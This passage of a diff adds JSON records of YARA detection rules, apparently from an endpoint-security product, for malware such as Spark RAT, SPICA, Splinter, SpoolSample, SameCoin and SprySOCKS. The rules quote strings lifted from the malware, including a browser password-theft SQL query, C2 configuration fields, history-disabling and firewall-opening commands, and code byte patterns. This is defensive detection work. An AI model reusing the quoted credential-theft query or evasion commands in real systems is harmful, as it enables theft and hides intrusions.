   $generic_loose_s1 = \"spark\" ascii nocase\n\n        // https://github.com/XZB-1248/Spark/tree/8db2a7361bf649693824450cfcfd498ae51115a0/client/\n        $path_s1 = \"/client/common\" ascii\n        $path_s2 = \"/client/core\" ascii\n        $path_s3 = \"/client/config\" ascii\n        $path_s4 = \"/client/service/terminal\" ascii\n        $path_s5 = \"/client/service/file\" ascii\n        $path_s6 = \"/client/service/process\" ascii\n        $path_s7 = \"/client/service/basic\" ascii\n        $path_s8 = \"/client/service/desktop\" ascii\n        $path_s9 = \"/client/service/screenshot\" ascii\n        $path_s10 = \"/utils\" ascii\n        $path_s11 = \"/modules\" ascii\n\n        // https://github.com/XZB-1248/Spark/blob/8db2a7361bf649693824450cfcfd498ae51115a0/client/core/handler.go#L19\n        $cmd_s1 = \"PING\" ascii fullword\n        $cmd_s2 = \"LOCK\" ascii fullword\n        $cmd_s3 = \"SHUTDOWN\" ascii fullword\n        $cmd_s4 = \"TERMINAL_INIT\" ascii fullword\n        $cmd_s5 = \"FILES_LIST\" ascii fullword\n        $cmd_s6 = \"FILES_REMOVE\" ascii fullword\n        $cmd_s7 = \"PROCESSES_LIST\" ascii fullword\n        $cmd_s8 = \"PROCESS_KILL\" ascii fullword\n        $cmd_s9 = \"DESKTOP_INIT\" ascii fullword\n        $cmd_s10 = \"COMMAND_EXEC\" ascii fullword\n\n    condition:\n        (\n            3 of ($generic_specific_s*) and\n            5 of ($path_s*) and\n            5 of ($cmd_s*)\n        ) or\n        (\n            3 of ($generic_specific_s*) and\n            all of ($generic_loose_s*) and\n            7 of ($path_s*)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "spark_rat"
+  ],
+  "rule_creation_date": "2024-11-14",
+  "rule_modified_date": "2025-03-31",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.SparkRAT"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1219"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-spica_backdoor_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569551Z",
+  "creation_date": "2026-03-23T11:46:25.569553Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569559Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/"
+  ],
+  "name": "spica_backdoor.yar",
+  "content": "rule spica_backdoor {\n    meta:\n        title = \"SPICA Backdoor\"\n        id = \"4e939e36-5ba1-478d-a095-22c7cc7c08e0\"\n        description = \"Detects the SPICA Backdoor used by a Russian threat group focused on credential phishing activities against high profile individuals.\\nThe SPICA backdoor is a sophisticated piece of malware designed to steal sensitive information.\\nIt is written in Rust and communicates with its command and control (C2) server using JSON over websockets.\"\n        references = \"https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/\"\n        date = \"2024-03-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.001;attack.persistence;attack.t1053.005;attack.credential_access;attack.t1606.001;attack.collection;attack.t1560;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Backdoor.Spica\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 37c52481711631a5c73a6341bd8bea302ad57f02199db7624b580058547fb5a9\n\n        $s1 = \"DNS resolution panicked\" ascii fullword\n        $s2 = \"Failed to open the subkey after setting the value.\" ascii\n        $s3 = \"task should never panic\" ascii fullword\n        $s4 = \"agent\\\\src\\\\command\\\\shell.rs\" ascii fullword\n        $s5 = \"/tnCalendarChecker/queryschtasksX\" ascii fullword\n        $s6 = \"-Commandpowershell.exe\" ascii fullword\n        $s7 = \"Card Holder: Bull Gayts\" ascii\n        $s8 = \"SELECT action_url, username_value, password_value from logins where length(username_value) > 0 and length(password_value) > 0\" ascii\n        $s9 = \"Uploadstruct UploadQuitDoxShellCookieTelegram\" ascii fullword\n        $s10 = \"struct Download with 1 element\" ascii fullword\n\n    condition:\n        5 of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "spica_backdoor"
+  ],
+  "rule_creation_date": "2024-03-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Backdoor.Spica"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1606.001",
+    "attack.t1071.001",
+    "attack.t1560",
+    "attack.t1053.005",
+    "attack.t1059.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-splinter_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582943Z",
+  "creation_date": "2026-03-23T11:46:25.582945Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582950Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/analysis-pentest-tool-splinter/"
+  ],
+  "name": "splinter.yar",
+  "content": "rule splinter_strings {\n    meta:\n        title = \"Splinter Generic Strings\"\n        id = \"68eec320-8890-458a-9baf-f91c401a0961\"\n        description = \"Detects Splinter, a post-exploitation C2 framework written in Rust.\\nSplinter is designed to further exploit systems after initial access.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://unit42.paloaltonetworks.com/analysis-pentest-tool-splinter/\"\n        date = \"2024-09-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Windows.Trojan.Splinter\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 058b831099c93ba59538362b762940a18b0cf89d82ab0c166855f73150054b23\n        // 13c98ff5f10a059a1b3096d4cc62bbac10a4fe9f4bbf2ddabad006d05dbbb382\n        // 1510c94c0e5ca38447a54cb9957d70efaa649542cc8c7ff78998119dd8062fda\n        // 188f4a191b85011772485f080ca0899c8c2da3c83155b0d0adec3a28754c9417\n        // 357c12ac0083f8d9560e36fe92a1df4b514271755e2e6f8098a4a2084caae20c\n        // 95609e1d54945cc987f01daf24b834dc070da9b1293b6d07fc5000e2e3dea5be\n        // bb33720a6f6027c61f024586d542204035b02db0e460196b6948eca61574e2bc\n        // cd3cd03d12e9fe14a99bd40d5218e035a4cedbcbb6c0f759ed042d26a90f466c\n        // e73c4ef0f4aee5f9d19c00794bf97593a26f76b1c6ebecccc7d478c2f422ee63\n        // fd150cee7ab1ea8ec38fc623ae268d2a8c19647075620d6b0ae153014810cfaf\n\n        $s1 = \"\\\\splinter_core\\\\\" ascii\n        $s2 = \"c2_password\" ascii\n        $s3 = \"c2_server_address\" ascii\n        $s4 = \"c2_port\" ascii\n        $s5 = \"c2_user\" ascii\n\n    condition:\n        all of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "splinter_strings"
+  ],
+  "rule_creation_date": "2024-09-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.Splinter"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1055.012",
+    "attack.t1569.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-spoolsample_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.570792Z",
+  "creation_date": "2026-03-23T11:46:25.570794Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.570800Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1\nhttps://github.com/leechristensen/SpoolSample\nhttps://attack.mitre.org/techniques/T1187/"
+  ],
+  "name": "spoolsample.yar",
+  "content": "rule spoolsample {\n    meta:\n        title = \"SpoolSample HackTool\"\n        id = \"0896c363-3ede-4d2e-9449-565d7eed06c2\"\n        description = \"Detects the SpoolSample PoC tool used to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface.\\nSpoolSample is a proof-of-concept tool that leverages the MS-RPRN (Printers Remote Protocol) interface to coerce authentication from Windows hosts. This technique is commonly used by adversaries to capture credentials or establish persistence. The tool sends crafted requests to target machines, which respond by authenticating to a specified server, potentially leading to credential capture.\"\n        references = \"https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/d42db7d5-f141-4466-8f47-0a4be14e2fc1\\nhttps://github.com/leechristensen/SpoolSample\\nhttps://attack.mitre.org/techniques/T1187/\"\n        date = \"2023-11-14\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.discovery;attack.t1087;attack.collection;attack.t1039;attack.credential_access;attack.t1552\"\n        classification = \"Windows.HackTool.SpoolSample\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        $s0 = \"Usage: ms-rprn.exe \\\\\\\\targetserver \\\\\\\\CaptureServer\" wide\n        $s1 = \"TargetServer: %s, CaptureServer: %s\" wide\n        $s2 = \"\\\\pipe\\\\spoolss\" wide\n        $s3 = \"If coercing authentication to an NTLM challenge-response capture tool(e.g. responder/inveigh/MSF SMB capture), this is expected and indicates the coerced authentication worked.\" wide\n        $s4 = \"RpcRemoteFindFirstPrinterChangeNotificationEx failed.\" wide\n        $s5 = \"C:\\\\Users\\\\labuser\\\\Downloads\\\\SpoolSample-master\" ascii\n\n    condition:\n        3 of ($s*)\n\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "spoolsample"
+  ],
+  "rule_creation_date": "2023-11-14",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.SpoolSample"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1039",
+    "attack.t1087",
+    "attack.t1552"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-spreader_samecoin_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.569797Z",
+  "creation_date": "2026-03-23T11:46:25.569799Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.569805Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/NicoleFishi19/status/1756936882095534532"
+  ],
+  "name": "spreader_samecoin.yar",
+  "content": "rule samecoin_campaign_tasksspreader {\n    meta:\n        title = \"SameCoin Tasks Spreader\"\n        id = \"70add14b-0ea4-4280-95c0-e986e13fb6c3\"\n        description = \"Detects strings related to SameCoin Loader's .NET Task Scheduler activity.\\nSameCoin is a malicious .NET-based framework used for persistence and lateral movement. This rule detects strings related to the creation and manipulation of scheduled tasks by the SameCoin Loader, which is often used to spread malicious activities across compromised systems. The loader uses task scheduling to maintain persistence and execute subsequent payloads.\\nIt is recommended to review the Task Scheduler logs for any unauthorized tasks.\"\n        references = \"https://twitter.com/NicoleFishi19/status/1756936882095534532\"\n        date = \"2024-02-14\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1053.005;attack.persistence;attack.defense_evasion;attack.t1036.004;attack.discovery;attack.t1018;attack.lateral_movement;attack.t1021\"\n        classification = \"Windows.Malware.SameCoin\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b447ba4370d9becef9ad084e7cdf8e1395bafde1d15e82e23ca1b9808fef13a7\n\n        $dotNet = \".NETFramework,Version\" ascii fullword\n\n        $a1 = \"System.DirectoryServices.ActiveDirectory\" ascii fullword\n        $a2 = \"GetTypeFromProgID\" ascii fullword\n        $a3 = \"DirectorySearcher\" ascii fullword\n        $a4 = \"SearchResultCollection\" ascii fullword\n        $a5 = \"UnaryOperation\" ascii fullword\n\n        $b1 = \"$dc1b29f0-9a87-4383-ad8b-01285614def1\" ascii fullword\n        $b2 = \"Windows Defender Agent\" ascii fullword\n        $b3 = \"Windows Defender Agent.exe\" wide ascii fullword\n        $b4 = /(\\\\)?C(:|\\$)\\\\Users\\\\Public\\\\Microsoft System Agent\\.exe/ wide fullword\n        $b5 = \"MicrosoftEdgeUpdateTaskMachinesCores\" wide fullword\n        $b6 = \"WindowsUpdate\" wide fullword\n\n        $c1 = \"RegisterTaskDefinition\" wide fullword\n        $c2 = \"DisallowStartIfOnBatteries\" wide fullword\n        $c3 = \"StopIfGoingOnBatteries\" wide fullword\n        $c4 = \"Schedule.Service\" wide fullword\n        $c5 = \"\\\\Domain Users\" wide fullword\n        $c6 = \"(objectClass=computer)\" wide fullword\n\n    condition:\n        filesize > 8KB and filesize < 40KB\n        and (uint16be(0) == 0x4D5A)\n        and $dotNet\n        and (4 of ($a*))\n        and (\n            ((any of ($b*)) and (any of ($c*)))\n            or (all of ($c*))\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "samecoin_campaign_tasksspreader"
+  ],
+  "rule_creation_date": "2024-02-14",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.SameCoin"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.execution",
+    "attack.lateral_movement",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1018",
+    "attack.t1036.004",
+    "attack.t1053.005",
+    "attack.t1021"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sprysocks_backdoor_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564416Z",
+  "creation_date": "2026-03-23T11:46:25.564419Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.564424Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html"
+  ],
+  "name": "sprysocks_backdoor.yar",
+  "content": "rule sprysocks_backdoor {\n    meta:\n        title = \"SprySOCKS Backdoor\"\n        id = \"6e6e8d44-5ee6-4b7d-8302-59b972166faf\"\n        description = \"Detects the SprySOCKS payload used by a China-linked threat actor named Earth Lusca in 2023.\\nThis payload is a second stage, encrypted with an AES-ECB cipher, launch by a specific loader.\\nThis backdoor used an encrypting communication with the C&C server with a hard-coded AES-ECB password and can implements several commands such collecting system information, starting an interactive shell, listing network connections, creating SOCKS proxy, uploading and downloading files, and other basic file operations.\\n.This backdoor persists via chkconfig or systemd to start its loader as a service.\\nThe loader is based on the publicly available Linux ELF injector \\\"mandibule\\\" attributed to the China-linked threat actor Earth Lusca, active in 2023.\"\n        references = \"https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html\"\n        date = \"2023-09-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.004;attack.collection;attack.t1119;attack.command_and_control;attack.t1573.002;attack.t1090.001\"\n        classification = \"Linux.Backdoor.SprySOCKS\"\n        context = \"process,memory,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // f8ba9179d8f34e2643ee4f8bc51c8af046e3762508a005a2d961154f639b2912\n\n        $s1 = \"13CascadeConMgr\" ascii fullword\n        $s2 = \"(%s)_Line:[%d]_Func:[%s] %s\" ascii fullword\n        $s3 = \"cat /proc/cpuinfo|grep cpu\\\\ MHz|sed -e 's/.*:[^0-9]//'\" ascii fullword\n        $s4 = \"CollectInfo\" ascii fullword\n        $s5 = \"firewall-cmd --zone=public --permanent --add-port=%d/tcp\" ascii fullword\n        $s6 = \"HISTFILE=/dev/null\" ascii fullword\n        $s7 = \"__data|\" ascii fullword\n        $s8 = \"00-50-56-c0-00-08BFEBFBFF00040671\" ascii fullword\n\n        $packet = {\n            31 C0                         // xor     eax, eax\n            8B 42 08                      // mov     eax, [rdx+8]\n            BA BC BC AC AC                // mov     edx, 0ACACBCBCh\n            48 C1 E0 20                   // shl     rax, 20h\n            48 09 C2                      // or      rdx, rax\n            49 89 D6                      // mov     r14, rdx\n            E8 ?? ?? ?? ??                // call    _malloc\n            48 85 C0                      // test    rax, rax\n        }\n\n        $machine_info_s1 = \"cat /etc/issue\" ascii fullword\n        $machine_info_s2 = \"cat /etc/redhat-release\" ascii fullword\n        $machine_info_s3 = \"%s (%s %s %s)\" ascii fullword\n        $machine_info_uname = {\n            E8 ?? ?? ?? FF                // call    _uname\n            48 63 74 24 ??                // movsxd  rsi, [rsp+4B8h+var_48C]\n            48 83 EC 08                   // sub     rsp, 8\n            4C 8D 05 ?? ?? ?? 00          // lea     r8, aSSSS\n            48 8D 84 24 ?? ?? 00 00       // lea     rax, [rsp+4C0h+name.machine]\n            48 C7 C1 FF FF FF FF          // mov     rcx, 0FFFFFFFFFFFFFFFFh\n            BA 01 00 00 00                // mov     edx, 1\n            50                            // push    rax\n            48 8D 84 24 ?? ?? 00 00       // lea     rax, [rsp+4C8h+name.release]\n            50                            // push    rax\n            48 8D 84 24 ?? ?? 00 00       // lea     rax, [rsp+4D0h+name.nodename]\n            50                            // push    rax\n            48 8B 7C 24 ??                // mov     rdi, [rsp+4D8h+var_498]\n            31 C0                         // xor     eax, eax\n            4C 8B 8C 24 ?? 00 00 00       // mov     r9, [rsp+4D8h+var_418]\n            E8 ?? ?? ?? FF                // call    ___snprintf_chk\n        }\n\n    condition:\n        7 of ($s*) or\n        (1 of ($s*) and $packet) or\n        all of ($machine_info_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sprysocks_backdoor"
+  ],
+  "rule_creation_date": "2023-09-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Backdoor.SprySOCKS"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1119",
+    "attack.t1573.002",
+    "attack.t1090.001",
+    "attack.t1059.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-sprysocks_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.586510Z",
+  "creation_date": "2026-03-23T11:46:25.586512Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.586519Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html"
+  ],
+  "name": "sprysocks_loader.yar",
+  "content": "rule sprysocks_loader {\n    meta:\n        title = \"SprySOCKS Loader\"\n        id = \"975fe87d-dca2-4e2a-8063-9cb84bd1f1e4\"\n        description = \"Detects the SprySOCKS Loader which loads and decrypts the second stage.\\nThe loader uses an AES-ECB cipher with a hard-coded password to decrypt the payload.\\nIt establishes persistence via chkconfig or systemd, running as a service.\\nNotably, this loader is based on the publicly available Linux ELF injector \\\"mandibule\\\" attributed to the China-linked threat actor Earth Lusca, active in 2023.\"\n        references = \"https://www.trendmicro.com/en_us/research/23/i/earth-lusca-employs-new-linux-backdoor.html\"\n        date = \"2023-09-29\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1055;attack.t1140;attack.persistence;attack.privilege_escalation;attack.t1543.002\"\n        classification = \"Linux.Loader.SprySOCKS\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 65b27e84d9f22b41949e42e8c0b1e4b88c75211cbf94d5fd66edc4ebe21b7359\n\n        $s1 = \"[-] file not ELF\" ascii fullword\n        $s2 = \"> DecryptString failed\" ascii fullword\n        $s3 = \"[+] _execve rm ok\" ascii fullword\n        $s4 = \"[+] system suport chkconfig\" ascii fullword\n        $s5 = \"getNameByErgodicPid\" ascii fullword\n\n        $mkmom_end = {\n            48 8D 05 ?? ?? 00 00              // lea     rax, aEndRodata\n            48 89 44 24 F8                    // mov     [rsp+var_8], rax\n            48 8B 44 24 F8                    // mov     rax, [rsp+var_8]\n            25 FF 0F 00 00                    // and     eax, 0FFFh\n            (\n                BA 00 10 00 00                // mov     edx, 1000h\n                48 29 C2                      // sub     rdx, rax\n                48 89 D0                      // mov     rax, rdx\n                |\n                48 89 C2                      // mov     rdx, rax\n                B8 00 10 00 00                // mov     eax, 1000h\n                48 29 D0                      // sub     rax, rdx\n            )\n            48 01 44 24 F8                    // add     [rsp+var_8], rax\n            48 8B 44 24 F8                    // mov     rax, [rsp+var_8]\n            C3                                // retn\n        }\n\n        $_syscall = {\n            0F 05                             // syscall\n            89 44 24 ??                       // mov     [rsp+ret], eax\n            8B 44 24 ??                       // mov     eax, [rsp+ret]\n            C3                                // retn\n        }\n\n    condition:\n        uint16(0) == 0x457f and\n        (\n            4 of ($s*) or\n            1 of ($s*) and\n            (\n                #_syscall > 4 or\n                $mkmom_end\n            )\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "sprysocks_loader"
+  ],
+  "rule_creation_date": "2023-09-29",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Loader.SprySOCKS"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.002",
+    "attack.t1140",
+    "attack.t1055"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-spy_usb_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.563683Z",
+  "creation_date": "2026-03-23T11:46:25.563685Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.563691Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
